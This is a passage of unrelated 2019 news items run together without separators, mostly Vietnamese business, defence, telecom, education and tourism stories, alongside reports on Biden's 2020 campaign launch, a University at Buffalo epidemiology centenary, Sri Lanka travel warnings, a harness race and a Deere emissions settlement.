to the next. There are as many as 20 Democrats in the field to oust President Donald Trump next year and take over control of the White House and some of them are women. Former Vice President 76-year-old Joe Biden is the latest to join the race. He worked under Barack Obama, is a lifelong politician, which has obvious advantages with his vast international and legislative experience. Those are his plus points that will put him in a separate league from others. Joe Biden announced he is running for president, making him one of 20 Democrats vying to become the party's 2020 nominee. pic.twitter.com/7YrELsI8Z1 USA TODAY (@USATODAY) April 25, 2019 New York Post reports that Joe Biden, the veteran Democrat, hopes to have an edge by virtue of his working-class appeal and links with former president Barack Obama. He knows the field is crowded but feels these qualities would help him to get a foothold in the scheme of things in the Democratic Party. Vermont Sen. Bernie Sanders, another hopeful, is leading many polls and he has proved his ability to raise funds. Donald Trump might have to finally face Joe Biden or Bernie Sanders. Joe Bidens first White House bid was in 1988 He is senior to Trump by four years and, if he wins, he would become the oldest person ever elected president. Joe Biden considers Barack Obama as his mentor. His philosophy is to act as a conduit between working-class white voters and the younger, more diverse voters who backed Obama in historic numbers. His strong connections to the former president is his strength. However, he is in his 70s and he will have to understand the priorities of the young generation to create a favorable impression among them. Moreover, there are women in the fray and they are unknown factors that could make things difficult. Joe Biden has officially jumped into the 2020 presidential race. Here are the other 19 candidates in the Democratic field https://t.co/Bis2LlnzNl pic.twitter.com/ghkHfEUQgg CNN Politics (@CNNPolitics) April 25, 2019 New York Post says Joe Biden has been eyeing the White House since 1988. Discuss this news on Eunomia He dropped out of the 2008 race because of low percentage of the vote in the Iowa caucuses. That was when Obama named him as his running mate. In 2016, he stepped aside to make way for Hillary Clinton. He now wants to be a part of the 2020 race. Incidentally, many in the Trump camp consider Biden to be a major re-election threat to Trump because Biden has an appeal among a section of the white working class in the Midwest. This same group helped Trump to become president. He has experience on his side According to BBC, Joe Biden is different from other 2020 Democratic hopefuls like Senators Elizabeth Warren, Kamala Harris, and Bernie Sanders. He is a former US vice-president who worked under Barack Obama, is an experienced politician, is popular and voters know him by name. These are his positives. He announced his intention to contest via a video and mentioned that the "core values of the nation... our very democracy, everything that has made America America, is at stake." He also said if Donald Trump gets a second term in office, he will fundamentally alter the character of this nation. Canada had become a promising market for Vietnamese goods following the signing of the Comprehensive and Progressive Agreement for Trans-Pacific Partnership (CPTPP), heard a workshop in Ha Noi on Thursday. Workers process seafood products for export at Binh Dinh Fishery Joint Stock Company in the central province of Binh Dinh. The company majors in exporting seafood to European countries, the US and Canada. The CPTPP, which took effect in Viet Nam on January 14, includes Australia, Brunei, Canada, Chile, Japan, Malaysia, Mexico, New Zealand, Peru, Singapore and Viet Nam that altogether make up 13.5 per cent of global GDP. Ta Hoang Linh, director of the European-American Market Department under the Ministry of Industry and Trade (MoIT), said Canada was one of the CPTPP members that had the highest market-opening commitments. Under the pact, it would cut tariffs on 95 per cent of imports to zero, and that covered 78 per cent of Viet Nams total export revenue to Canada. Canada was also one of the three CPTPP members with which Viet Nam had not yet signed a bilateral trade agreement. Meanwhile, the two sides export structures did not compete and complemented each other. If businesses could take this opportunity, the CPTPP would open the door for processed and manufactured products textiles and garments, footwear, wood and aquatic products, Linh said. Jared Brading, counsellor for Development Cooperation at the Canadian Embassy in Viet Nam, said the CPTPP implementation would bring about more trade and investment chances, helping to strengthen the trade partnership, especially in terms of agricultural and food. For Canada, this agreement would help reinforce relations with new free trade agreement partners like Viet Nam and improve Vietnamese consumer awareness of Canadian goods, he said, noting his hope that Vietnamese goods would increase their presence in his country. Brading added the CPTPP would also facilitate Canadian companies investment in and provision of technical support for Viet Nam within the official development assistance framework to help local firms, especially those run by women, to benefit from trade liberalisation. At the workshop, Nguyen Son Tra, an official from the MoITs Multilateral Trade Policy Department, said the enforcement of the CPTPP was considered a driving force for bilateral trade. With the immediate elimination of 95 per cent of import tariff lines after the deal took effect, which covers 78 per cent of Viet Nams exports to this market, Canada generated numerous export chances for Viet Nam. She said all of Viet Nams aquatic exports to Canada had benefited from a zero-per cent tariff since January 14. The North American market had also reduced import tariffs on wooden furniture, tea, pepper and cashew nuts to zero per cent. It would remove all tariffs on textile-garment imports in the fourth year after the CPTPP came into force. Meanwhile, 78 per cent of Viet Nams exports of footwear another major foreign currency earner to Canada have also enjoyed a zero-percent tariff immediately after the trade pact took effect. Statistics show that in 2018, Viet Nam shipped more than US$3.01 billion worth of goods to Canada. Bilateral trade reached $379 million in January this year, including $317 million of Viet Nams exports. VNS The European Commission will send a working team to Vietnam in late May or early June to review the countrys efforts to fight illegal, unreported and unregulated fishing before it lifts the yellow card on seafood imports from Vietnam. Seafood products are sold at a supermarket. Many efforts are being taken to lift the yellow card imposed on the local seafood by the EC The Ministry of Agriculture and Rural Development on April 23 held a conference in Hanoi City to take prompt measures to address existing shortcomings in the local fishing sector and remove the yellow card imposed on Vietnamese seafood by the EC, the local media reported. Speaking at the conference, Nguyen Quang Hung, deputy director of the Directorate for Fisheries of Vietnam, said that the country should quickly take steps to fight IUU fishing to avoid the red card. Many delegates stated that localities nationwide, however, attached little importance to fighting IUU fishing and had not yet fully adopted measures to remove the yellow card. Apart from fishing vessel monitoring systems failing to meet requirements, fishing vessels illegally entering and exploiting seafood in foreign waters are still not penalized strictly, in line with the direction of the Government and the prime minister, creating a high risk of getting a red card from the EC. Minister of Agriculture and Rural Development Nguyen Xuan Cuong said that the ministry will continue to collaborate with the Ministry of Home Affairs and the Government Office to ask the prime minister to establish a national steering committee on IUU fishing; speed up the installation of monitoring systems on fishing boats, including positioning equipment; and prevent fishing vessels from violating rules in foreign waters. Also, Hung underscored the need to raise the awareness of fisheries management agencies and fishing communities to combat IUU fishing. Some delegates suggested enhancing the efficiency of collaboration between localities and authorities such as the coast guard, border guards and naval forces to control fishing boats and inspect equipment installed on boats. The EC issued a yellow card warning to Vietnamese seafood products on October 23, 2017, as the country had failed to clamp down on IUU fishing. This warning has heavily affected local seafood exports to EU countries. As required by the EC, Vietnam has to act on its nine recommendations, including ensuring the effective adoption of revised laws; enhancing the effective execution of international regulations and management measures; increasing the traceability of seafood products; preventing sales of products from IUU fishing; and promoting cooperation with other countries. SGT The Chief of the General Staff of the Vietnam Peoples Army Phan Van Giang had meetings with senior military officers of Russia and the Philippines on the sidelines of the eighth Moscow Conference on International Security. The meeting between Chief of the General Staff of the Vietnam Peoples Army and Deputy Defence Minister Sen. Lt. Gen. Phan Van Giang and Philippine Undersecretary of National Defence Lt. Gen. Cardozo M. Luna in Moscow on April 24 (Photo: Ministry of National Defence) Chief of the General Staff of the Armed Forces and First Deputy Defence Minister of Russia Gen. Valery Gerasimov appreciated the Vietnamese Ministry of National Defence sending a high-ranking delegation to the MCIS-8. He noted alongside the sound development of the Vietnam-Russia comprehensive strategic partnership, bilateral defence cooperation has continually been reinforced in multiple fields. 2019 marks several important events in the two countries relations, including 25 years since the signing of the treaty on basic principle for the Russia-Vietnam friendship, the Russia Year in Vietnam, and the Vietnam Year in Russia. The year is also on threshold of the 70th founding anniversary of their diplomatic ties in 2020. Therefore, the Defence Ministry and the General Staff of the Armed Forces of Russia will step up activities to further intensify relations between the two countries and the two militaries, Gerasimov said. For his part, Giang spoke highly Russias hosting of the MCIS-8, noting that through this event, the stature of Russia, including its Defence Ministry, will be improved with regard to the settlement of international and regional issues. He also proposed cooperation activities between the two militaries be implemented as agreed by the Vietnamese and Russian defence ministers at their meeting in 2018. Giang also invited Gerasimov to pay an official visit to Vietnam. The Russian officer accepted the invitation with pleasure. Also on April 24, the Chief of the General Staff of the Vietnam Peoples Army met with Philippine Undersecretary of National Defence Lt. Gen. Cardozo M. Luna. The Vietnamese officer said the sound relations between the two states and militaries have been strengthened unceasingly in various aspects. Particularly, both sides have always coordinated to well resolve East Sea-related issues in line with the Declaration on the Conduct of Parties in the East Sea (DOC). He asked the Philippine Department of National Defence to share experience in counter-terrorism and natural disaster response, assist the Vietnamese Defence Ministry in English training for military officers, and discuss cooperation in the areas of shared concern. Luna said as a responsible member of the Association of Southeast Asian Nations (ASEAN), the Philippines considers cooperation with regional countries as a focus, and it attaches special importance to the ties with Vietnam. He expressed his hope that Vietnam will share its experience in national development and military building with his country. Echoing the Vietnamese sides view on the settlement of East Sea issues on the basis of international law, he affirmed that the Philippine Department of National Defence respects and adheres to the DOC and will promote the building of a code of conduct in the waters between ASEAN and China, thereby helping to build a region of unity, cooperation and prosperous development. At the meeting, Giang also voiced his hope that the Philippine department will attend and support events that Vietnam will host when it holds the ASEAN Chair in 2020, including the ASEAN Defence Ministers Meeting, the ASEAN Defence Ministers Meeting Plus, and the ASEAN Chiefs of Defence Forces Meeting. The two officers also agreed on some exchange and cooperation activities, showing the readiness to assist each other in the fields their countries has strengths in.-VNA The Embassy of Vietnam in Japan coordinated with Kyodo PR company to host the Asia-Africa 20 conference in Tokyo on April 25. Participants at the conference The event attracted representatives from embassies of the 10 ASEAN member countries and 20 African nations in Japan as well as over 50 Japanese businesses. Ambassador of Vietnam to Japan Vu Hong Nam highlighted the remarkable achievements that Vietnam has gained since 1975. He said Vietnam is now one of the fastest-growing economies in Southeast Asia and a reliable destination for foreign investors. While mentioning the relations between Vietnam and Japan, Nam said Japan is an important partner of Vietnam in the fields of economy, trade and investment. Japan has made significant contributions to Vietnams socio-economic development, he added. At the conference, participants heard about Vietnams investment environment and policies and the bilateral cooperation in developing Micro Gragon satellite. Ambassador of Djibouti to Japan and Vietnam Ahmed Araita Ali said the conference creates a good chance for him as a consultant for the African group to better understand about the recent economic accomplishments of Vietnam. He told reporters from the Vietnam News Agency on the sidelines of the event that he visited Vietnam for the first time in 1997 and came back to the Southeast Asian country in 2016. He said he was very impressed by the economic boom in Vietnam, especially in the field of education. Relating to the relations between Vietnam and Djibouti, the ambassador suggested the two sides enhance exchanges activities, particularly among private enterprises. He revealed that Djibouti hosts an annual international trade fair in December. Last year, 40 small-and medium-sized enterprises from Japan participated in the event. He hoped Vietnamese businesses will attend the fair, and vice versa more Djibouti firms will come to Vietnam.-VNA Indochina Telecom Company on April 25 in Hanoi launched Vietnam's first mobile virtual network operator (MVNO) Itelecom, becoming the sixth telecoms provider in the country. No mobile virtual network active yet Telcos MNV dream disillusioned MIC gets tough on slack Telcos Indochina Telecom Company has launched Vietnam's first mobile virtual network operator Itelecom in Hanoi, becoming the sixth telecoms provider in the country. (Photo: Indochina Telecom) The new mobile phone network with prefix number of 087 aims to bring flexible telecom services and stable quality at a reasonable cost. Indochina Telecom Company has launched the MVNO by signing with VNPT to use its mobile phone infrastructure one of the telecom firms with best coverage and quality in the country. In the initial phase, Itelcom will be introduced to workers at industrial zones in nine provinces and cities including Ha Noi, Thai Nguyen, Vinh Phuc, Bac Giang, Bac Ninh, Binh Duong, Ho Chi Minh City, Long An and Dong Nai. It will connect with all of telecom networks which have unused mobile phone capacity to create the most convenient services at reasonable costs. In addition, it will diversify mobile phone packages for different segments such as low-income earners, students and workers. - VNA Vietnam, listed among the easy-to-conquer markets for Huawei, has also become tougher amid calls for boycott of Huawei all over the world. Huawei, the biggest telecom equipment supplier in the world, is facing a global crackdown on its telecommunications equipment because of a series of incidents recently, including the Canadian governments arrest of its Chief Financial Officer and the US ban on Huawei and ZTE equipment. Many other countries, responding to US-led calls for boycott Huawei products, have also stated they will reconsider the products of the Chinese manufacturers. Huawei has reported a high growth rate of 19.5 percent in 2018 compared with the year before. However, analysts pointed out that the business with telecom network operators was unsatisfactory with revenue from network infrastructure equipment decreasing by 1.3 percent. While the US and other countries have repeatedly mentioned the back door in Huaweis equipment, other countries have been neutral. Fan June, CEO of Huawei Vietnam said Huawei has 34 contracts on 5G deployment and all of them are from overseas. The 21-year presence of Huawei in the Vietnamese market will bring great opportunities to Chinese equipment suppliers in the context of Vietnams hectic preparation for 5G application. Vietnam has made no official statement about Huaweis equipment. However, many Vietnamese experts have called for high caution over Chinese equipment. Meanwhile, telcos refused to comment about the accusations made about Huawei, but said in the new development era, protecting information security is more important than ever. Vietnamese are familiar with Huaweis phone products, but not many know that Huaweis products are also present in internet devices they use every day, and many other fields. Analysts say that Huawei has deep relations with Vietnams network operators. It has become involved in the operators programs on launching 2G, 3G and 4G as well. The analysts think that the 21-year presence of Huawei in the Vietnamese market will bring great opportunities to Chinese equipment suppliers in the context of Vietnams hectic preparation for 5G application. At the ASEAN conference on 5G held in Hanoi last March, it was noted that ASEAN countries will join the 5G revolution soon. Huawei has many loyal clients, not only Vietnam, in ASEAN. Vietnams mobile network operators, when asked about the foreign partners, mentioned big names in the world, including Finnish Nokia and Swedish Ericsson, which are rivals of Huawei. Nhip Cau Dau Tu quoted its sources as reporting that Huaweis telecom infrastructure equipment sale in Vietnam did not meet expectations in 2018. Huaweis representative declined to give exact figures about revenue growth. He only said that the contribution of consumer electronics, mostly telephones, to the total revenue was high. RELATED NEWS Will Vietnam develop 5G with Huaweis equipment? Huawei targets 5G network equipment deals in Vietnam amid worldwide boycott Trong Dat 100 years of Public Health University at Buffalo Anniversary Celebration for the Department of Epidemiology and Environmental Health The Department of Epidemiology and Environmental Health (formerly Social and Preventive Medicine) recently celebrated 100 years of contributions to the health of Buffalo, the region, the nation and the world. EEH was first established in 1919 as the Department of Hygiene and Public Health. Since that time, while the focus of our teaching, research and service has changed with the changing needs of our communities, we have remained committed to understanding how best to prevent disease, deliver care, and teach researchers and practitioners in public health. We are very proud of the many major public health leaders who have been part of our department. This 100th celebration is an opportunity to understand and commemorate our history, and to look to the future, in a time of rapidly changing public health challenges. 100 Years and Counting 2019 marked the 100th anniversary of the birth of SPHHPs Department of Epidemiology and Environmental Health and 100 years of evidence-informed education, groundbreaking research, prominent researchers and community engagement. Take a tour of this timeline to discover the milestones in the departments evolution and growth. Full Events Program EEH 100th Anniversary Symposium Program Epi Monitor Interview - Check out this Epimonitor interview to get a firsthand look at the Departments story as told by Dr. Jo Freudenheim. Health Now Article Understand the importance of research and impact in the history of UB EEH. The Firsts - as cataloged by Dr. John Vena Saxon Graham Lecture Video View Dr. John Venas lecture at the Albright-Knox Art Gallery on 5.30.2019. Symposium Lecture Video Watch as current and past faculty talk about the achievements and on-going projects conducted by UB EEH on 5.31.2019. Department Faculty and Staff: Past and Present Faculty and staff from the department of Social and Preventive Medicine gather together on the steps of 2211 Main Street in Buffalo, NY, approximately 1989. Faculty and staff from the department of epidemiology and environmental health gather together on the steps of Farber Hall, UB South Campus during the fall semester of 2018. Submit your stories and photos to us! We want to expand the information we have about the history of the department. Please share stories of your time at UB, tell us how your time here impacted your career and your life. Also, please share photos from your time here. Online Form - University at Buffalo Epidemiology and Environmental Health 100th Anniversary Celebration Donate to the Department of Epidemiology and Environmental Health to help future students succeed As we celebrate the past, we are looking to the future. We continue to have wonderful, thoughtful, innovative and energetic students. Your support will help us to recruit, train and launch the best, most diverse students so that they become the new generation of leaders, laying the groundwork in public health for the next 100 years. Please consider paying it forward to help current and future students succeed. The EEH 100th Anniversary Fund is for student support including tuition assistance, stipends, conference expenses and research funds. The Julie Baker fund is for tuition assistance for masters students. The Saxon Graham fund is for epidemiology doctoral students' research funds. Vietnam is one of five of YouTubes biggest global markets, based on how long users spend watching videos on the site, according to Ajay Vidyasagar, Asia Pacific regional director at YouTube. Tax collections from online content creators remain challenging Vietnams Yeah1 to offload US-based ScaleLab after two months of acquisition YouTube may receive a second wave of boycott in Vietnam Vietnam is one of five of YouTubes biggest global markets. (Illustrative image) Five of YouTube's biggest global markets are in Asia: India, Indonesia, Japan, Thailand and Vietnam. "All of them have year-on-year growth levels that are very high double digits, or, in some cases, triple digit annual growth," Vidyasagar told CNBC's Nancy Hungerford at the APOS conference in Bali, Indonesia. "Mobile consumption, actually, really started showing up as a game-changer from this region." According to Ajay Vidyasagar, Alphabet's video platform YouTube has "extraordinary momentum" in Asia Pacific, both in terms of the number of users and how frequently they use the service. Nearly 85% of India's YouTube consumption is through mobile devices, according to Vidyasagar. Asia is home to some of the largest smartphone markets in the world, including India and Indonesia. Moreover, the development of high-speed mobile internet connections has also made video content more accessible to users than in the past, when most people watched television instead. YouTube has more than a billion users worldwide. Nhan Dan As many as 222 students have been found involved in the 2018 high school final exam cheating scandal which is shaking up the Vietnamese education system. Many of them are reportedly the children of local high-ranking officials. The names and family status of the parents of the students in the exam cheating case have been revealed. Some officials involved in the case have been arrested They include Ha Giang provincial deputy secretary of Communist Party, deputy director of a department, directors of large enterprises; Son La provinces deputy director of the education department, director of the taxation agency, director of provincial branch of VNPT, deputy chief inspector of the province, head of the secondary education division of the education department, deputy chairs of Son La City and deputy chair of Quynh Nhai district. About 60 students were expelled from university after inspectors concluded that they could not have had exam scores high enough to study at the schools. They are among the over 200 students whose exam scores were modified upward in the provinces of Hoa Binh, Son La and Ha Giang. The police in the three provinces have arrested and prosecuted 16 officials involved in the case. However, the public outcry continues because these people, who allegedly abused their power and bought exam scores with their money, have not been punished. The police in the three provinces have arrested and prosecuted 16 officials involved in the case. However, the public outcry continues because these people, who allegedly abused their power and bought exam scores with their money, have not been punished. Many parents have had to work hard every day to fund their childrens study, but the children have been deprived of opportunities to follow higher education, because their seats at universities have been taken by the children of influential families, a parent commented on education forum. The police and agencies have not made a final decision about whether parents who are holding important posts at local state agencies commanded the exam score manipulation. A female official in Son La denied that she paid for the exam score manipulation. The Ministry of Education & Trainings inspectors marked her childs exam paper again, and concluded that her real total score must be 15 lower than the fabricated figure. The official claimed that someone tried to help and raised the scores arbitrarily, and did not inform us about this. Despite such assertions, few people believe that parents were innocent in the exam cheating case. Prof Nguyen Thi Canh from the HCMC National University said if parents did not request the score manipulation and participate in the exam cheating ring, no one would have fabricated the exam scores of their children. Le Viet Khuyen from the Vietnam Association of Universities and Junior Colleges said that agencies will continue the investigation to find out if bribes were given or received in the case. RELATED NEWS Son La caught in high school exam cheating scandal Exam cheating discovered in all inspected provinces Ha An Vietnam Health Awards, the first in Vietnam to honor health activists who promote a healthy lifestyle among businesses, encourage physical activity, and build the foundation for a healthy society, was launched in HCMC on April 24. Organizers announce the awards The event was held by Golden Hearts Group in line with the World Health Organizations general criteria. The award consists of five titles, including Workplace Health Award, Leader Health Award, Community Health Award, Servicer Health Award, and Corporate Health Award. Enterprises and organizations eligible to join the program include those active in the field of health care. They must have clearly branded products or services as well as long-term and specific policies for brand development, and concurrently commit to the award values. Foreign companies or organizations that want to join the award need to have a representative office, brand, products, and services in the Vietnamese market and greatly contribute to promoting the countrys development of human resources for health. SGT A Su-22 military aircraft suffered serious damage as it skidded off an airport runway in Yen Bai Province today, April 23, the local media reported. Lone plane crash survivor beats monumental odds Remains believed to be pilots found 47 years after plane crash A Su-22 fighter jet of Vietnam The incident happened at 2:29 p.m. when the fighter jet, operated by Phan Thanh Hai, a pilot in Vietnams Air Defense-Air Force Services Regiment 921, was landing at Yen Bai Air Base. The landing gear reportedly did not work during landing, and the drag chute then deployed, resulting in the aircraft sliding off the runway. The pilot parachuted away from the aircraft prior to the crash and was reported safe. However, the aircraft was heavily damaged. After receiving a report about the incident, the Ministry of Defense and relevant units promptly began an investigation into the crash. In July 2018, two pilots were killed after a Su-22 military training aircraft, also operated by Vietnam Air Defense-Air Force Services Regiment 921, crashed in Nghia Dan District in the central province of Nghe An. SGT Market researcher releases latest report on April 25, based on surveys in nine countries. Visitors to travel sites in Vietnam account for 9 per cent of the total digital population - the lowest penetration rate in nine countries surveyed in the latest report from market researchers Comscore. The Travel Digital Landscape in APAC report provides a snapshot of the digital travel landscape using visitor sizes, demographics, and behavior across all digital platforms to identify the trends and unique characteristics of the different Asia-Pacific (APAC) markets. It was limited to visitors aged 18 and above in Australia, China, Hong Kong (China), India, Indonesia, Japan, Malaysia, Singapore, Taiwan (China), and Vietnam. While India and China have the highest number of users in APAC accessing travel websites, both markets still have room for growth, the report noted. Vietnams digital population stands at 44.4 million people, of which 4 million visited a travel-related website or app in January. Penetration is highest in Taiwan (China), with 75 per cent, followed by Hong Kong (China) with 68 per cent, Singapore 57 per cent, and Australia 56 per cent. The most-frequently visited travel sites were airlines, online travel agents, and hotels/resorts and home sharing. Consumers in Taiwan (China), Hong Kong (China), and Vietnam visited these categories the most, with Taiwan (China) leading in visits to online travel agents, Vietnam in visits to hotels/resorts and home sharing, and Hong Kong (China) in visits to airlines. Consumers in different markets display different consumption patterns when using online travel agents. In China, they visit such sites quite often but only for a short duration, indicating quick consumption of information or fast purchases. In Indonesia and India, however, both number of visits and time spent are relatively low. In terms of devices, Vietnamese consumers access travel sites through desktops (76 per cent), multi-platforms (13 per cent), and mobiles (11 per cent). Consumers in Asia are leapfrogging the traditional technology curve by assessing travel services and information, through mobile devices rather than desktops. VIR With the country sweltering under a heatwave that leaves very few spots nationwide under 30 degrees, its no surprise that Vietnams travelers are heading to the coastal cities. A beach in Nha Trang, central Vietnam. With Independence Day falling on a Tuesday, and Labor Day the adjacent Wednesday, workers across Vietnam have submitted their Monday leave-requests and are gearing up for a five-day break at the beach to see out April and usher in May. According to Agodas booking data, domestic destinations take up nine of the top ten list for this period, and seaside destinations Phan Thiet, Nha Trang and Vung Tau join Danang in occupying four of the top five, split only by second-placing mountain retreat Dalat. With the country sweltering under a heatwave that leaves very few spots nationwide under 30 degrees, its no surprise that Vietnams travelers are heading to the coastal cities and mountains for some respite from the searing temperatures. Danang came out top-of-the-charts for bookings nationally, with the coastal towns countless resorts and long beaches proving hard to resist for guests from around the country. Halong Bay topped the list for Hanoians looking for a short-hop from their hometown to one of the nations picturesque iconic destinations. Second on the list for travelers from the capital was Danang, with the hills of Sapa rounding out the top three. Saigonese are also heading for the hills, with the cool climes of Dalat beckoning them to its summit. Otherwise, they arent straying too far away from home, with the two closest seaside resort towns of Phan Thiet and Vung Tau seeing out the top three. Realizing that there is no place like home, travelers from Danang were either heavily booking neighboring Hoi An or staycationing in resorts in their hometown above all else. Bangkok was the only international destination to crack the top 10 nationally, with the nearby metropolis shopping, culture and cuisine a drawcard for guests from around the country. Hanoitimes Wellness tourism has great potential but this new kind of tourism has not been effectively exploited in Vietnam, despite the number of potential wellness destinations and landscapes, experts said. Vietnam aims for more competitive tourism industry Central Vietnam seen as potential site for golf tourism Nha Trangs low-cost tours pay low taxes, tarnish tourism image Wellness facilities at Fusion Maia Da Nang. Photo courtesy of Fusion Maia Da Nang Wellness tourism, which can enhance health through physical and spiritual activities, has become more popular around the world, said Nguyen Thi Anh Hoa, deputy director of the citys Department of Tourism. Wellness tourism was available in 63 countries in 2013, and increased to 100 by 2018, Hoa said. According to Wego and TrustYou, the cities of Ha Noi and Hoi An, which have great wellness potential, are listed among the top 10 tourist destinations for wellness tourism services in Asia. Ha Noi, where tourists can easily enjoy a peaceful atmosphere and admire historical destinations, ranks in the top 5. However, this type of tourism requires high-spending tourists who seek healthy experiences and spiritual balance. According to the Global Wellness Institute (GWI)s report, the wellness tourism market grew by US$639 billion in 2017 and that number stands to rise. World travelers made 830 million wellness trips in 2017, 139 million more than in 2015. GWI also predicts that wellness tourism may see a 7.5 per cent increase per year. By 2020, the sector will be able to reach $919 billion and account for 18 per cent of the proportion of the world travel market. Mauro Gasparotti, director of Savills Hotels Asia Pacific, said that wellness tourism was growing 50 per cent faster than total global tourism rates. The average annual growth rate of wellness tourism arrivals in Viet Nam was 23 per cent. Wellness tourism spending premiums were 51 per cent more than typical international tourists, Gasparotti said. Millennials prefer to spend more money on experiences than on material things. Wellness tourism offers new experiences for tourists, he said. Ten per cent of wellness travelers see wellness as the primary or sole purpose or motivating factor for their trip and destination choice, while those who see it as a secondary purpose or want to maintain wellness while taking any kind of trip account for the remaining 90 per cent. As such, wellness retreats should be combined with experiences for tourists such as healthy food, local communities, cooking classes and in-room lighting, he added. Nguyen Thanh Binh, deputy director of Vietnam National Administration of Tourisms Hotel Department, said in recent years the strong growth in the number of international and domestic tourists had increased investment in hotels, resorts, and tourism apartments. The annual room growth rate was estimated at 12 per cent over the last few years, Binh said. Last year, the number of accommodations rose to 28,000 with more than 550,000 rooms, an increase from 13,756, with 256,000 rooms in 2011. In the last two years, many three to five-star hotels and resorts have invested in wellness facilities such as gym and yoga rooms, spas and beauty services to lure travelers. Travelers are paying more attention to integrating healthy habits and activities into their lifestyles and travel. Destinations should focus on exploiting wellness services to attract tourists who want to escape otherwise stressful lives or improve their health while traveling, Binh said. VNS SYDNEY Australia on Thursday warned more terror attacks were "likely" in Sri Lanka, cautioning citizens against visiting the island nation following the Easter Sunday bombing that claimed 253 lives. "Terrorists are likely to carry out further attacks in Sri Lanka," the foreign ministry warned in its latest travel advice. "Attacks could be indiscriminate, including in places visited by foreigners," it said. Canberra advised Australians to "reconsider your need to travel to Sri Lanka", following similar warnings from Britain, the Netherlands and the United States since the April 21 bombings. The US State Department has warned that terrorist groups "continue plotting" possible attacks, with targets including tourist locations, places of worship and airports. An Australian mother and her 10-year-old daughter were among those killed in the series of bomb blasts that targeted tourists and Christian worshippers. Prime Minister Scott Morrison said Australian counter-terrorism police would assist Sri Lankan authorities with their investigation. Tensions remain high in Sri Lanka and a curfew has been put in place across the island, with authorities still in a desperate search for suspects. Authorities on Thursday revised down the death toll by more than 100 to 253, admitting some of the badly mutilated bodies had been erroneously double-counted. AFP Bettors were optimistic about Our Max Phactor Ns chances when he debuted for trainer Andrew Harris on the Levy undercard. Despite starting from post seven in a $29,000 overnight, the New Zealand-bred gelding started at odds of just 4.6-1. Despite the strong backing, Our Max Phactor N was out of contention in the early stages of the race, 10-1/4 lengths behind pacesetting Gillys Boy after a :27.1 opening quarter. Despite joining the flow nearing the half and advancing within 4-3/4 lengths of the top, Our Max Phactor N was last of eight passing the three-quarter mark. Still, Harris was confident. His last quarters have been pretty scary throughout his career, not just for us, he said. I figured he was going to be a pretty impressive horse. I qualified him myself, and Im a big guy, and he drove me around there in :26.3. His last quarters, we knew that they were there. At the midway point of the final turn, driver Jason Bartlett angled Our Max Phactor three-wide and the seven-year-old showed instant acceleration. He passed favourite Don Domingo, Sunken Treasur, and Chaching Hanover in a matter of strides and arriving at the head of the lane, zipped by Late Mail, Ghost Pine and the tiring Gillys Boy with ease. With just a slap of the wheel disc in mid-stretch, Our Max Phactor N extended past leader Dragonology and kicked clear to a 1-1/4 length win in 1:54. He was a real nice horse over there and we had big expectations for him, Harris said. They thought he was a real class animal, so we took a shot with him. I thought that he was supposed to do that, especially with those fractions. I was happy with him. By Art Major out of the In The Pocket mare Tact Philly, Our Max Phactor N won 21 races from 86 starts in Australia and New Zealand. His wins included the Group 3 Kersley Final at Gloucester Park last November. Our Max Phactor N also placed in the Group 2 Village Kid Stakes at the same venue last December and in the Group 3 Summer Cup Handicap at Auckland in 2017. He competed in two Group 1 stakes this January to end his career in the Southern Hemisphere as Harris worked with agent Frank Rinaldi to bring Our Max Phactor to the United States. I actually almost bought Mach Doro, who was in the Levy Series. That deal didnt go through, Harris explained. Then (Frank) called me and said this horse was available, that this is the kind of horse you should be looking for. So, we put it together and got him bought and luckily enough, I think hes exactly what we wanted. Our Max Phactor N flew to the United States in early March, but never missed a beat. In training with Rinaldi before he left Australia, the transition was seamless when the gelding finally arrived at Harris barn. We made sure he got adjusted properly and everything went kind of smoothly. He didnt get sick or anything like that. It was really probably one of the smoother transitions of a horse coming from over there. Weve had a few, but this one came over pretty good, Harris said. When we bought him over there, you dont know when your flight is; the flight could be at any time, Harris continued. Fortunately, we were able to have Frank take the horse and keep him in training. He swam him, had him in training, went a couple slow trips with him right before we got him. Keep him in motion and then we get him and take over. They never get shut down. Our Max Phactor N made an immediate impression on his new trainer when he arrived in the barn. The gelding showed no signs of wear from the travel. I was shocked at how good-looking he was. A lot of them dont look that well coming off the long flight coming over. This horse looking like a million dollars the day I got him, Harris recalled. When he got here, he was one of the best-looking horses Ive ever gotten to work with for sure. Hes a gorgeous, gorgeous animal. His coat is amazing. Just a really excellent-looking horse. Harris had Our Max Phactor N ready to qualify March 30. With Jason Bartlett in the sulky, the gelding finished third in a Meadowlands trial in 1:52.1 with a :26.2 final quarter. One week later, with a shortage of catch drivers, Harris qualified Our Max Phactor N himself. The trainer was impressed with the mile, which finished with a :26.3 last panel. I just wanted to take it easy on him; I didnt want to go crazy, so I just sat on him, never chased him going home, Harris said. I had another in the qualifier against him, Trump Nation, who I think is an absolutely beast of a horse, and he drove right up beside him and did everything the right way. I was really, really happy with him. Off his debut victory, Our Max Phactor N will step up into the $44,000 Open Handicap Pace at Yonkers Raceway on Saturday night (April 27). Paired again with Jason Bartlett, he will start from post six. His rivals include Macs Jackpot, who finished fourth in the Levy Series Consolation last week, and Major Crocker, who also drops out of the series. Micky Gee will start from post five off consecutive victories at the $29,000 level while Caviart Luca looks for his fourth win in seven seasonal starts with a better draw this week in post three. Artifact Hanover and Epaulette complete the lineup. Harris likes this spot for Our Max Phactor N and expects his off-the-pace tactics to continue as he adjusts to the American style of racing. We dont want him to get hot or anything. Some of these horses from over there can get hot, Harris said. In Australia, he was actually always on the outside, one-one, first-up. He seems like a versatile horse who can do it any way. I dont think theres a need to drive him any certain way, its just right now, we dont want him to get hot. Its a good race for him, he continued. Its not the toughest Open Ive seen, so thats a good thing. With the series just being finished, theres not a bunch of killers in there just yet, so this is kind of a nice spot for him to see if he can go at that level, which I think he can, but saying it and doing it are two different things. It will be good to see what he does in there. I think if everything goes right, he should be a player all year. Saturday nights card also features a $44,000 Open Handicap Trot. First post time is 6:50 p.m. (SOA of New York) DES MOINES Deere & Co. has agreed to pay $1 million for violating air quality standards over a 12- to- 13-year period at its diesel-engine testing center in Cedar Falls. Deere officials say the matter arose from past errors in air permitting and have taken corrective action. As part of a consent decree entered Thursday, The Iowa Attorney Generals Office said Deere has agreed to conduct annual environmental audits by a third party for at least three years and until they receive two consecutive audit reports with no or minimal violations. In a petition, the Iowa Department of Natural Resources alleged that Deere had failed to comply with emissions limits in 80 construction permits at its Product Engineering Center; had operated without proper air quality permits in some cases; had provided inaccurate information to the DNR from 2005 to 2016 on compliance reports; and had violated emissions limits on carbon monoxide, 